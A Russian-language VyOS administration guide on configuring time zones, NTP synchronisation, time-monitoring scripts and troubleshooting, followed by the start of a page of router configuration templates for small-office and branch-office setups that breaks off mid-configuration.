ls /usr/share/zoneinfo/Europe/ | grep -E "Moscow|Samara|Yekaterinburg|Omsk|Krasnoyarsk|Irkutsk|Yakutsk|Vladivostok|Magadan|Kamchatka"

# Другие регионы
ls /usr/share/zoneinfo/Europe/
ls /usr/share/zoneinfo/America/
ls /usr/share/zoneinfo/Asia/
ls /usr/share/zoneinfo/Africa/
ls /usr/share/zoneinfo/Australia/
```

### Часовые пояса России

**Основные часовые пояса РФ**:
- `Europe/Kaliningrad` - MSK-1 (UTC+2)
- `Europe/Moscow` - MSK (UTC+3) - Москва, Санкт-Петербург
- `Europe/Samara` - MSK+1 (UTC+4) - Самара, Ижевск, Ульяновск
- `Asia/Yekaterinburg` - MSK+2 (UTC+5) - Екатеринбург, Челябинск, Пермь
- `Asia/Omsk` - MSK+3 (UTC+6) - Омск
- `Asia/Krasnoyarsk` - MSK+4 (UTC+7) - Красноярск, Новосибирск, Кемерово
- `Asia/Irkutsk` - MSK+5 (UTC+8) - Иркутск, Улан-Удэ
- `Asia/Yakutsk` - MSK+6 (UTC+9) - Якутск, Чита
- `Asia/Vladivostok` - MSK+7 (UTC+10) - Владивосток, Хабаровск
- `Asia/Magadan` - MSK+8 (UTC+11) - Магадан, Сахалин
- `Asia/Kamchatka` - MSK+9 (UTC+12) - Петропавловск-Камчатский

```bash
# Установить для различных регионов России
set system time-zone Europe/Moscow      # Москва
set system time-zone Asia/Yekaterinburg # Екатеринбург
set system time-zone Asia/Vladivostok   # Владивосток

commit
save
```

### Интеграция с NTP

```bash
# Настроить NTP для автоматической синхронизации времени
set service ntp server 0.ru.pool.ntp.org
set service ntp server 1.ru.pool.ntp.org
set service ntp server 2.ru.pool.ntp.org

# Установить часовой пояс
set system time-zone Europe/Moscow

commit
save
```

**Проверка синхронизации**:
```bash
# Статус NTP
show ntp

# Вывод:
#      remote           refid      st t when poll reach   delay   offset  jitter
# ==============================================================================
# *ntp1.example.com .GPS.            1 u   64   64  377    1.234   -0.123   0.045
# +ntp2.example.com .GPS.            1 u   32   64  377    2.345    0.234   0.067

# Показать текущее время
show date
```

## Расширенная конфигурация

### Настройка для распределенной инфраструктуры

При наличии роутеров в разных часовых поясах:

```bash
# Роутер в Москве
set system host-name vyos-msk
set system time-zone Europe/Moscow
set service ntp server ntp1.yandex.ru
set service ntp server ntp2.yandex.ru

# Роутер в Екатеринбурге
set system host-name vyos-ekb
set system time-zone Asia/Yekaterinburg
set service ntp server ntp1.yandex.ru
set service ntp server ntp2.yandex.ru

# Роутер во Владивостоке
set system host-name vyos-vvo
set system time-zone Asia/Vladivostok
set service ntp server ntp1.yandex.ru
set service ntp server ntp2.yandex.ru

commit
save
```

### UTC для централизованного логирования

Для централизованных систем логирования и мониторинга рекомендуется использовать UTC:

```bash
# Установить UTC (координированное всемирное время)
set system time-zone UTC

# NTP серверы
set service ntp server 0.pool.ntp.org
set service ntp server 1.pool.ntp.org

commit
save
```

**Преимущества UTC**:
- Нет путаницы с переходом на летнее/зимнее время
- Упрощает корреляцию логов из разных часовых поясов
- Стандарт для распределенных систем

**Недостатки UTC**:
- Неудобно для локальных администраторов
- Требует конвертации времени при анализе логов

### Автоматическая настройка часового пояса из DHCP

```bash
# Включить получение NTP серверов из DHCP (если WAN интерфейс)
set interfaces ethernet eth0 address dhcp

# DHCP опция 42 (NTP servers) будет автоматически применена
# Но часовой пояс все равно нужно настроить вручную
set system time-zone Europe/Moscow

commit
save
```

## Примеры конфигурации

### 1. Корпоративная сеть с локальным NTP сервером

**Задача**: Настроить роутеры в офисах для синхронизации с корпоративным NTP.

**Головной офис (Москва)**:
```bash
set system host-name vyos-hq-msk
set system time-zone Europe/Moscow

# Корпоративный NTP сервер + публичные как fallback
set service ntp server ntp.corp.local prefer
set service ntp server 0.ru.pool.ntp.org
set service ntp server 1.ru.pool.ntp.org

# NTP сервер для локальной сети (роутер раздает время клиентам)
set service ntp listen-address 192.168.1.1

commit
save
```

**Филиал (Екатеринбург)**:
```bash
set system host-name vyos-branch-ekb
set system time-zone Asia/Yekaterinburg

# Синхронизация с головным офисом через VPN
set service ntp server ntp.corp.local prefer
set service ntp server 0.ru.pool.ntp.org

# NTP сервер для локальной сети филиала
set service ntp listen-address 10.10.1.1

commit
save
```

**Проверка**:
```bash
# На головном офисе
show ntp

# На филиале - должна быть синхронизация с ntp.corp.local
show ntp | grep ntp.corp.local
```

### 2. Дата-центр с UTC и централизованным логированием

**Задача**: Настроить роутеры ЦОД с UTC для корреляции логов.

```bash
set system host-name vyos-dc-core01
set system time-zone UTC

# NTP стратум 1 серверы (высокая точность)
set service ntp server time.nist.gov
set service ntp server time.google.com
set service ntp server ntp.yandex.ru

# Централизованный syslog с UTC timestamps
set system syslog host 10.0.0.100 facility all level info
set system syslog host 10.0.0.100 protocol tcp
set system syslog host 10.0.0.100 port 514

commit
save
```

**Конфигурация Syslog сервера (rsyslog)**:
```bash
# На syslog сервере настроить UTC
sudo timedatectl set-timezone UTC

# В rsyslog конфигурации использовать UTC timestamps
sudo tee -a /etc/rsyslog.conf > /dev/null <<'EOF'
# Use UTC for timestamps
$ActionFileDefaultTemplate RSYSLOG_FileFormat
$template FileFormat,"%timegenerated% %HOSTNAME% %syslogtag%%msg:::drop-last-lf%\n"
EOF

sudo systemctl restart rsyslog
```

**ELK Stack с UTC**:
```yaml
# Logstash filter для парсинга VyOS логов с UTC
filter {
  if [type] == "syslog" {
    date {
      match => [ "timestamp", "MMM dd HH:mm:ss", "MMM  d HH:mm:ss" ]
      timezone => "UTC"
    }
  }
}
```

### 3. Multi-site сеть с разными часовыми поясами

**Задача**: Управлять сетью с офисами в Москве, Новосибирске и Владивостоке.

**Москва (MSK, UTC+3)**:
```bash
set system host-name vyos-msk
set system time-zone Europe/Moscow
set service ntp server 0.ru.pool.ntp.org
set service ntp server ntp1.yandex.ru

# Планировщик задач (backup в 3:00 по местному времени)
set system task-scheduler task backup-config interval '0 3 * * *'
set system task-scheduler task backup-config executable path '/config/scripts/backup.sh'

commit
save
```

**Новосибирск (MSK+4, UTC+7)**:
```bash
set system host-name vyos-nsk
set system time-zone Asia/Krasnoyarsk
set service ntp server 0.ru.pool.ntp.org
set service ntp server ntp1.yandex.ru

# Backup в 3:00 по местному времени (то же что 23:00 MSK)
set system task-scheduler task backup-config interval '0 3 * * *'
set system task-scheduler task backup-config executable path '/config/scripts/backup.sh'

commit
save
```

**Владивосток (MSK+7, UTC+10)**:
```bash
set system host-name vyos-vvo
set system time-zone Asia/Vladivostok
set service ntp server 0.ru.pool.ntp.org
set service ntp server ntp1.yandex.ru

# Backup в 3:00 по местному времени (то же что 20:00 MSK предыдущего дня)
set system task-scheduler task backup-config interval '0 3 * * *'
set system task-scheduler task backup-config executable path '/config/scripts/backup.sh'

commit
save
```

**Централизованный мониторинг**:
```python
#!/usr/bin/env python3
# Скрипт для мониторинга времени на всех роутерах

import paramiko
from datetime import datetime

routers = [
    {'host': 'vyos-msk.corp.local', 'tz': 'Europe/Moscow'},
    {'host': 'vyos-nsk.corp.local', 'tz': 'Asia/Krasnoyarsk'},
    {'host': 'vyos-vvo.corp.local', 'tz': 'Asia/Vladivostok'},
]

def check_router_time(router):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(router['host'], username='admin', key_filename='/home/admin/.ssh/id_rsa')

    stdin, stdout, stderr = ssh.exec_command('date +"%Y-%m-%d %H:%M:%S %Z"')
    router_time = stdout.read().decode().strip()

    print(f"{router['host']}: {router_time}")

    ssh.close()

for router in routers:
    check_router_time(router)
```

### 4. Высокоточная синхронизация для финансовых приложений

**Задача**: Обеспечить точность времени для trading applications (точность <1ms).

```bash
set system host-name vyos-trading
set system time-zone Europe/Moscow

# Использовать стратум 1 NTP серверы (GPS/атомные часы)
set service ntp server time.nist.gov iburst
set service ntp server time.google.com iburst
set service ntp server ntp.yandex.ru iburst

commit
save
```

**Дополнительные настройки для точности**:
```bash
# Настроить chrony для более точной синхронизации (альтернатива ntpd)
sudo apt-get update
sudo apt-get install chrony

# Конфигурация chrony
sudo tee /etc/chrony/chrony.conf > /dev/null <<'EOF'
# Stratum 1 servers
server time.nist.gov iburst minpoll 4 maxpoll 6
server time.google.com iburst minpoll 4 maxpoll 6
server ntp.yandex.ru iburst minpoll 4 maxpoll 6

# Make steps for large clock errors
makestep 0.1 3

# Enable hardware timestamps
hwtimestamp *

# Use RTC
rtcsync

# Log
logdir /var/log/chrony
log measurements statistics tracking
EOF

sudo systemctl restart chrony

# Проверить точность
chronyc tracking
# Output:
# Reference ID    : C0A80001 (time.google.com)
# Stratum         : 2
# Ref time (UTC)  : Wed Oct 14 12:30:45 2025
# System time     : 0.000000123 seconds fast of NTP time
# Last offset     : +0.000000045 seconds
# RMS offset      : 0.000000089 seconds
# ...
```

**Мониторинг точности**:
```bash
# Скрипт для мониторинга offset
sudo tee /config/scripts/ntp-accuracy-monitor.sh > /dev/null <<'EOF'
#!/bin/bash
THRESHOLD=0.001  # 1ms

OFFSET=$(chronyc tracking | grep "System time" | awk '{print $4}')

# Конвертировать в абсолютное значение
OFFSET_ABS=$(echo "$OFFSET" | awk '{print ($1 < 0) ? -$1 : $1}')

if (( $(echo "$OFFSET_ABS > $THRESHOLD" | bc -l) )); then
    echo "WARNING: NTP offset too high: $OFFSET seconds"
    logger -t ntp-monitor "WARNING: NTP offset too high: $OFFSET seconds"
    # Отправить алерт
fi
EOF

chmod +x /config/scripts/ntp-accuracy-monitor.sh

# Запланировать проверку каждые 5 минут
set system task-scheduler task ntp-accuracy-check interval '*/5 * * * *'
set system task-scheduler task ntp-accuracy-check executable path '/config/scripts/ntp-accuracy-monitor.sh'

commit
save
```

### 5. Изоляция по часовым поясам для MSP

**Задача**: MSP управляет клиентами в разных часовых поясах, каждый клиент хочет видеть свое локальное время в логах.

**Решение через VRF и отдельные syslog**:
```bash
# Клиент 1 (Москва)
set vrf name CLIENT1 table 100
set interfaces ethernet eth1 vrf CLIENT1
set interfaces ethernet eth1 address 192.168.1.1/24

# Клиент 2 (Владивосток)
set vrf name CLIENT2 table 200
set interfaces ethernet eth2 vrf CLIENT2
set interfaces ethernet eth2 address 192.168.2.1/24

# Основная система в UTC
set system time-zone UTC

# NTP
set service ntp server 0.pool.ntp.org
set service ntp server 1.pool.ntp.org

commit
save
```

**Скрипт для конвертации логов в локальное время клиента**:
```bash
sudo tee /config/scripts/convert-logs-timezone.sh > /dev/null <<'EOF'
#!/bin/bash
# Конвертировать логи из UTC в локальное время клиента

CLIENT_TZ=$1
LOG_FILE=$2

if [ -z "$CLIENT_TZ" ] || [ -z "$LOG_FILE" ]; then
    echo "Usage: $0 <timezone> <logfile>"
    exit 1
fi

# Читать логи и конвертировать timestamp
while IFS= read -r line; do
    # Извлечь timestamp (формат: Oct 14 12:30:45)
    timestamp=$(echo "$line" | awk '{print $1, $2, $3}')

    # Конвертировать в локальное время клиента
    local_time=$(TZ="$CLIENT_TZ" date -d "$timestamp" "+%b %d %H:%M:%S")

    # Заменить timestamp в строке
    echo "$line" | sed "s/$timestamp/$local_time/"
done < "$LOG_FILE"
EOF

chmod +x /config/scripts/convert-logs-timezone.sh

# Использование:
# ./convert-logs-timezone.sh Europe/Moscow /var/log/messages
# ./convert-logs-timezone.sh Asia/Vladivostok /var/log/messages
```

### 6. Автоматическая коррекция времени после сбоя

**Задача**: Автоматически корректировать время после отключения электричества.

```bash
set system time-zone Europe/Moscow

# NTP с агрессивной синхронизацией
set service ntp server 0.ru.pool.ntp.org
set service ntp server 1.ru.pool.ntp.org
set service ntp server ntp1.yandex.ru

commit
save
```

**Скрипт для проверки и коррекции времени при загрузке**:
```bash
sudo tee /config/scripts/boot-time-check.sh > /dev/null <<'EOF'
#!/bin/bash
# Проверить время при загрузке и форсировать синхронизацию если сильно отличается

MAX_OFFSET=300  # 5 минут

# Дождаться сети
sleep 10

# Запросить время с NTP сервера
NTP_TIME=$(ntpdate -q 0.ru.pool.ntp.org | grep "offset" | head -1 | awk '{print $6}')

if [ -z "$NTP_TIME" ]; then
    logger -t boot-time-check "ERROR: Cannot reach NTP server"
    exit 1
fi

# Получить абсолютное значение offset
OFFSET=$(echo "$NTP_TIME" | awk '{print ($1 < 0) ? -$1 : $1}')

if (( $(echo "$OFFSET > $MAX_OFFSET" | bc -l) )); then
    logger -t boot-time-check "WARNING: Time offset too large ($NTP_TIME sec), forcing sync"

    # Остановить ntpd
    systemctl stop ntp

    # Форсировать установку времени
    ntpdate -s 0.ru.pool.ntp.org

    # Запустить ntpd
    systemctl start ntp

    logger -t boot-time-check "Time synchronized successfully"
else
    logger -t boot-time-check "Time offset acceptable ($NTP_TIME sec)"
fi
EOF

chmod +x /config/scripts/boot-time-check.sh

# Добавить в автозагрузку через systemd
sudo tee /etc/systemd/system/boot-time-check.service > /dev/null <<'EOF'
[Unit]
Description=Boot Time Check and Correction
After=network-online.target
Wants=network-online.target

[Service]
Type=oneshot
ExecStart=/config/scripts/boot-time-check.sh
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable boot-time-check.service
```

## Мониторинг и диагностика

### Операционные команды

```bash
# Показать текущее время и часовой пояс
show date

# Показать текущий часовой пояс
show configuration system time-zone

# NTP статус
show ntp

# Детальная информация NTP
ntpq -p

# NTP статистика
ntpstat

# Проверить системное время
date

# Показать аппаратное время (RTC)
sudo hwclock

# Проверить разницу между system time и hardware clock
sudo hwclock --compare
```

### Проверка синхронизации NTP

```bash
# Быстрая проверка NTP
ntpq -c peers

# Вывод:
#      remote           refid      st t when poll reach   delay   offset  jitter
# ==============================================================================
# *ntp1.yandex.ru  .GPS.            1 u   32   64  377    2.345   -0.123   0.045
# +ntp2.yandex.ru  .GPS.            1 u   64   64  377    3.456    0.234   0.067

# Символы:
# * - текущий источник времени
# + - кандидат на источник
# - - отклоненный источник
# x - ложный ticker

# Проверить offset (разница времени)
ntpq -c rv | grep offset

# Tracking информация
ntpq -c associations
```

### Логи времени и NTP

```bash
# Логи NTP
show log | match ntp

# Системные логи времени
journalctl -u ntp

# Логи коррекции времени
sudo grep "time" /var/log/syslog

# Логи больших скачков времени
sudo grep "clock stepped" /var/log/syslog
```

### Мониторинг точности времени

```bash
# Скрипт для мониторинга NTP offset
sudo tee /config/scripts/ntp-monitoring.sh > /dev/null <<'EOF'
#!/bin/bash
# Мониторинг NTP синхронизации

# Получить offset
OFFSET=$(ntpq -c rv | grep offset | awk -F= '{print $2}' | awk '{print $1}')

# Получить jitter
JITTER=$(ntpq -c rv | grep jitter | awk -F= '{print $2}' | awk '{print $1}')

# Получить stratum
STRATUM=$(ntpq -c rv | grep stratum | awk -F= '{print $2}' | awk '{print $1}')

echo "NTP Status:"
echo "  Offset: $OFFSET ms"
echo "  Jitter: $JITTER ms"
echo "  Stratum: $STRATUM"

# Проверить пороги
OFFSET_THRESHOLD=100  # 100ms
JITTER_THRESHOLD=50   # 50ms

if (( $(echo "$OFFSET > $OFFSET_THRESHOLD" | bc -l) )); then
    echo "WARNING: NTP offset too high!"
    logger -t ntp-monitor "WARNING: NTP offset too high: $OFFSET ms"
fi

if (( $(echo "$JITTER > $JITTER_THRESHOLD" | bc -l) )); then
    echo "WARNING: NTP jitter too high!"
    logger -t ntp-monitor "WARNING: NTP jitter too high: $JITTER ms"
fi
EOF

chmod +x /config/scripts/ntp-monitoring.sh

# Запланировать мониторинг каждые 15 минут
set system task-scheduler task ntp-monitor interval '*/15 * * * *'
set system task-scheduler task ntp-monitor executable path '/config/scripts/ntp-monitoring.sh'

commit
save
```

## Устранение неполадок

### 1. Время не синхронизируется с NTP

**Симптомы**: `show ntp` показывает, что нет синхронизации с серверами.

**Проверка**:
```bash
# Проверить статус NTP
show ntp

# Проверить доступность NTP серверов
ping 0.ru.pool.ntp.org

# Проверить UDP порт 123
sudo tcpdump -i eth0 port 123

# Проверить firewall
show firewall
```

**Решение**:
```bash
# Перезапустить NTP
restart service ntp

# Проверить конфигурацию NTP
show configuration service ntp

# Разрешить NTP в firewall (если блокируется)
set firewall name WAN_LOCAL rule 100 action accept
set firewall name WAN_LOCAL rule 100 protocol udp
set firewall name WAN_LOCAL rule 100 destination port 123

commit
save

# Форсировать синхронизацию (остановить ntpd, синхронизировать, запустить)
sudo systemctl stop ntp
sudo ntpdate 0.ru.pool.ntp.org
sudo systemctl start ntp
```

### 2. Неправильные timestamp в логах

**Симптомы**: Время в логах не соответствует действительности или находится в неправильном часовом поясе.

**Проверка**:
```bash
# Проверить системное время
show date

# Проверить часовой пояс
show configuration system time-zone

# Проверить логи
show log | tail 10
```

**Решение**:
```bash
# Установить правильный часовой пояс
set system time-zone Europe/Moscow

commit
save

# Проверить NTP синхронизацию
show ntp

# Если время сильно отстает - форсировать синхронизацию
sudo ntpdate -s 0.ru.pool.ntp.org
```

### 3. Планировщик задач выполняет задачи не вовремя

**Симптомы**: Task scheduler запускает задачи в неожиданное время.

**Проверка**:
```bash
# Проверить часовой пояс
show configuration system time-zone

# Проверить текущее время
show date

# Проверить настройки task-scheduler
show configuration system task-scheduler
```

**Решение**:
```bash
# Убедиться, что часовой пояс установлен правильно
set system time-zone Europe/Moscow

# Пересмотреть расписание задач с учетом часового пояса
# Например, для backup в 3:00 MSK:
set system task-scheduler task backup interval '0 3 * * *'

commit
save

# Проверить что cron использует правильное время
sudo cat /etc/crontab
```

### 4. Большой offset после перезагрузки

**Симптомы**: После перезагрузки время сильно отличается от реального.

**Причина**: Аппаратные часы (RTC) не синхронизированы или батарейка села.

**Проверка**:
```bash
# Проверить системное время
date

# Проверить аппаратное время
sudo hwclock

# Разница между system и hardware clock
sudo hwclock --compare
```

**Решение**:
```bash
# Синхронизировать время с NTP
sudo ntpdate -s 0.ru.pool.ntp.org

# Записать системное время в аппаратные часы
sudo hwclock --systohc

# Проверить
sudo hwclock
date

# Включить автоматическую синхронизацию RTC
# В /etc/systemd/timesyncd.conf добавить:
sudo tee -a /etc/systemd/timesyncd.conf > /dev/null <<'EOF'
[Time]
RootDistanceMaxSec=5
PollIntervalMinSec=32
PollIntervalMaxSec=2048
EOF

sudo systemctl restart systemd-timesyncd
```

### 5. NTP не работает за NAT

**Симптомы**: NTP не может синхронизировать время на роутере за NAT.

**Причина**: Некоторые NAT шлюзы блокируют или некорректно обрабатывают NTP трафик (UDP 123).

**Решение**:
```bash
# Использовать NTP pool вместо конкретных серверов
set service ntp server 0.pool.ntp.org
set service ntp server 1.pool.ntp.org
set service ntp server 2.pool.ntp.org

# Добавить опцию iburst для быстрой синхронизации
# (требует ручной правки /etc/ntp.conf)
sudo sed -i 's/^server /server iburst /' /etc/ntp.conf

# Перезапустить NTP
sudo systemctl restart ntp

commit
save
```

### 6. DST (летнее время) проблемы

**Симптомы**: Время некорректно после перехода на летнее/зимнее время.

**Примечание**: В России с 2014 года отменен переход на летнее время. Но проблема может возникнуть в других странах.

**Решение**:
```bash
# Обновить tzdata (данные часовых поясов)
sudo apt-get update
sudo apt-get install --only-upgrade tzdata

# Проверить версию tzdata
dpkg -l | grep tzdata

# Переустановить часовой пояс
set system time-zone UTC
commit
set system time-zone Europe/Moscow
commit
save

# Перезапустить NTP
restart service ntp
```

## Лучшие практики

1. **Выбор часового пояса**
   - Использовать UTC для централизованных систем логирования
   - Использовать локальное время для удобства администраторов
   - Документировать выбранный часовой пояс
   - Согласовать с командой DevOps/NOC

2. **NTP конфигурация**
   - Использовать минимум 3 NTP сервера
   - Предпочитать локальные NTP серверы для точности
   - Использовать стратум 1-2 серверы для критичных систем
   - Настроить fallback на публичные NTP pool

3. **Мониторинг времени**
   - Мониторить NTP offset (порог 100ms для общих систем, 1ms для финансовых)
   - Мониторить NTP jitter
   - Алертинг на потерю синхронизации
   - Логировать все коррекции времени

4. **Аппаратные часы (RTC)**
   - Синхронизировать RTC с системным временем регулярно
   - Проверять батарейку RTC раз в год
   - Автоматически корректировать время при загрузке

5. **Планирование задач**
   - Учитывать часовой пояс при настройке cron
   - Избегать планирования критичных задач во время потенциального DST перехода
   - Документировать время выполнения задач в комментариях

6. **Распределенные системы**
   - Синхронизировать все устройства с одним источником времени
   - Использовать централизованный NTP сервер
   - Корпоративный NTP сервер должен синхронизироваться со стратум 1

7. **Логирование**
   - Включать часовой пояс в timestamp логов
   - Использовать ISO 8601 формат для экспорта логов
   - Конвертировать время при анализе логов из разных часовых поясов

8. **Backup и Recovery**
   - Проверять время перед выполнением backup
   - Включать timestamp в имена backup файлов
   - Не полагаться только на modification time файлов

9. **Compliance и Аудит**
   - Документировать источник времени
   - Хранить логи синхронизации времени
   - Доказать точность времени для аудиторов
   - Соответствие требованиям регуляторов (PCI DSS, SOX)

10. **Troubleshooting**
    - Всегда проверять время при возникновении проблем
    - Сравнивать время на всех компонентах системы
    - Использовать UTC для корреляции событий
    - Документировать временные аномалии

## Заключение

Правильная настройка часового пояса и синхронизация времени в VyOS критически важны для корректной работы логирования, планирования задач, координации с внешними системами и соответствия требованиям аудита. Использование NTP для автоматической синхронизации, выбор подходящего часового пояса для инфраструктуры и регулярный мониторинг точности времени обеспечивают надежную работу сетевого оборудования и упрощают troubleshooting в распределенных системах.


---

# VyOS - Configuration Blueprints и архитектура

Source: https://opennix.org/docs/vyos/admin-guide/vyos-blueprints/


Готовые к развертыванию шаблоны конфигурации VyOS для типичных сценариев использования. Каждый шаблон представляет собой полную рабочую конфигурацию, которую можно адаптировать под конкретные требования.

## Как использовать шаблоны

### Метод 1: Через CLI

```bash
# Войти в configuration mode
configure

# Скопировать команды из шаблона (set команды)
# Вставить в CLI

# Применить конфигурацию
commit

# Сохранить
save
```

### Метод 2: Через config.boot файл

```bash
# Сохранить шаблон в файл
sudo vi /config/config.boot.template

# Загрузить конфигурацию
configure
load /config/config.boot.template
commit
save
```

### Метод 3: Через API

```python
# Использовать VyOS API для применения конфигурации
# См. раздел "Автоматизация VyOS" для деталей
```

## Шаблон 1: SOHO Router (Малый офис / Домашний офис)

### Описание

Базовый роутер для малого офиса (до 50 устройств):
- WAN интерфейс с DHCP от провайдера
- LAN с DHCP сервером
- NAT для выхода в интернет
- Базовый firewall
- DNS forwarding
- NTP
- SSH доступ

### Топология

```
Internet (ISP DHCP)
        |
    [eth0] WAN
     VyOS Router
    [eth1] LAN
        |
   192.168.1.0/24
   (Client devices)
```

### Полная конфигурация

```bash
configure

# Системные настройки
set system host-name soho-router
set system time-zone Europe/Moscow
set system name-server 8.8.8.8
set system name-server 8.8.4.4

# Логин пользователя
set system login user admin authentication plaintext-password 'changeme123'
set system login user admin level admin

# SSH сервис
set service ssh port 22
set service ssh disable-password-authentication

# NTP
set service ntp server 0.ru.pool.ntp.org
set service ntp server 1.ru.pool.ntp.org

# WAN интерфейс (получает IP от провайдера через DHCP)
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 description 'WAN'

# LAN интерфейс
set interfaces ethernet eth1 address 192.168.1.1/24
set interfaces ethernet eth1 description 'LAN'

# DHCP сервер для LAN
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 default-router 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 name-server 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 domain-name internal.local
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 lease 86400
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200

# DNS forwarding
set service dns forwarding listen-address 192.168.1.1
set service dns forwarding cache-size 10000
set service dns forwarding name-server 8.8.8.8
set service dns forwarding name-server 8.8.4.4

# NAT для выхода в интернет
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

# Firewall - WAN_LOCAL (защита самого роутера от WAN)
set firewall name WAN_LOCAL default-action drop
set firewall name WAN_LOCAL rule 10 action accept
set firewall name WAN_LOCAL rule 10 state established enable
set firewall name WAN_LOCAL rule 10 state related enable
set firewall name WAN_LOCAL rule 20 action drop
set firewall name WAN_LOCAL rule 20 state invalid enable
set firewall name WAN_LOCAL rule 30 action accept
set firewall name WAN_LOCAL rule 30 protocol icmp

# Firewall - WAN_IN (защита LAN от WAN)
set firewall name WAN_IN default-action drop
set firewall name WAN_IN rule 10 action accept
set firewall name WAN_IN rule 10 state established enable
set firewall name WAN_IN rule 10 state related enable
set firewall name WAN_IN rule 20 action drop
set firewall name WAN_IN rule 20 state invalid enable

# Применить firewall к интерфейсам
set interfaces ethernet eth0 firewall local name WAN_LOCAL
set interfaces ethernet eth0 firewall in name WAN_IN

commit
save
```

### Кастомизация

```bash
# Изменить LAN подсеть
set interfaces ethernet eth1 address 10.0.0.1/24
set service dhcp-server shared-network-name LAN subnet 10.0.0.0/24 default-router 10.0.0.1
set service dhcp-server shared-network-name LAN subnet 10.0.0.0/24 range 0 start 10.0.0.100
set service dhcp-server shared-network-name LAN subnet 10.0.0.0/24 range 0 stop 10.0.0.200
set service dns forwarding listen-address 10.0.0.1
set nat source rule 100 source address 10.0.0.0/24

# Добавить статические DHCP аренды
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 static-mapping server1 mac '00:11:22:33:44:55'
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 static-mapping server1 ip-address '192.168.1.10'

# Открыть порт для внешнего доступа (например, web сервер)
set nat destination rule 100 inbound-interface eth0
set nat destination rule 100 protocol tcp
set nat destination rule 100 destination port 80
set nat destination rule 100 translation address 192.168.1.10
set nat destination rule 100 translation port 80

# Разрешить forwarding для этого порта
set firewall name WAN_IN rule 100 action accept
set firewall name WAN_IN rule 100 protocol tcp
set firewall name WAN_IN rule 100 destination address 192.168.1.10
set firewall name WAN_IN rule 100 destination port 80
```

## Шаблон 2: Branch Office Router (Филиал с VPN)

### Описание

Роутер для филиала компании с VPN подключением к головному офису:
- WAN интерфейс со статическим IP
- LAN с несколькими VLAN (офис, гости, принтеры)
- IPsec Site-to-Site VPN до головного офиса
- QoS для приоритизации VoIP
- DHCP с резервированием для оборудования
- Syslog на центральный сервер

### Топология

```
Internet
    |
[eth0] WAN (203.0.113.10/24)
  VyOS Router
    |
[eth1] LAN Trunk
    |
  Switch
    |
    +--- VLAN 10 (192.168.10.0/24) Office
    +--- VLAN 20 (192.168.20.0/24) Guests
    +--- VLAN 30 (192.168.30.0/24) Printers

    IPsec Tunnel to HQ
    192.168.0.0/24 (HQ LAN)
```

### Полная конфигурация

```bash
configure

# Системные настройки
set system host-name branch-office
set system time-zone Europe/Moscow
set system domain-name company.local

# Логин
set system login user admin authentication plaintext-password 'SecurePass123!'
set system login user admin level admin

# SSH
set service ssh port 22
set service ssh disable-password-authentication

# NTP
set service ntp server ntp1.company.local
set service ntp server 0.ru.pool.ntp.org

# Syslog на центральный сервер
set system syslog host 192.168.0.10 facility all level info
set system syslog global facility all level info

# WAN интерфейс (статический IP от провайдера)
set interfaces ethernet eth0 address 203.0.113.10/24
set interfaces ethernet eth0 description 'WAN'

# LAN интерфейс (trunk для VLANs)
set interfaces ethernet eth1 description 'LAN-TRUNK'

# VLAN 10 - Office
set interfaces ethernet eth1 vif 10 address 192.168.10.1/24
set interfaces ethernet eth1 vif 10 description 'Office-VLAN'

# VLAN 20 - Guests
set interfaces ethernet eth1 vif 20 address 192.168.20.1/24
set interfaces ethernet eth1 vif 20 description 'Guest-VLAN'

# VLAN 30 - Printers
set interfaces ethernet eth1 vif 30 address 192.168.30.1/24
set interfaces ethernet eth1 vif 30 description 'Printer-VLAN'

# DHCP сервер для Office VLAN
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 default-router 192.168.10.1
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 name-server 192.168.0.10
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 domain-name company.local
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 lease 86400
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 range 0 start 192.168.10.100
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 range 0 stop 192.168.10.200

# Статические аренды для оборудования
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 static-mapping voip-phone1 mac '00:11:22:33:44:01'
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 static-mapping voip-phone1 ip-address '192.168.10.11'
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 static-mapping voip-phone2 mac '00:11:22:33:44:02'
set service dhcp-server shared-network-name OFFICE subnet 192.168.10.0/24 static-mapping voip-phone2 ip-address '192.168.10.12'

# DHCP для Guest VLAN (короткий lease)
set service dhcp-server shared-network-name GUESTS subnet 192.168.20.0/24 default-router 192.168.20.1
set service dhcp-server shared-network-name GUESTS subnet 192.168.20.0/24 name-server 8.8.8.8
set service dhcp-server shared-network-name GUESTS subnet 192.168.20.0/24 lease 3600
set service dhcp-server shared-network-name GUESTS subnet 192.168.20.0/24 range 0 start 192.168.20.100
set service dhcp-server shared-network-name GUESTS subnet 192.168.20.0/24 range 0 stop 192.168.20.250

# DHCP для Printer VLAN
set service dhcp-server shared-network-name PRINTERS subnet 192.168.30.0/24 default-router 192.168.30.1
set service dhcp-server shared-network-name PRINTERS subnet 192.168.30.0/24 name-server 192.168.0.10
set service dhcp-server shared-network-name PRINTERS subnet 192.168.30.0/24 lease 86400
set service dhcp-server shared-network-name PRINTERS subnet 192.168.30.0/24 range 0 start 192.168.30.100
set service dhcp-server shared-network-name PRINTERS subnet 192.168.30.0/24 range 0 stop 192.168.30.200

# DNS forwarding
set service dns forwarding listen-address 192.168.10.1
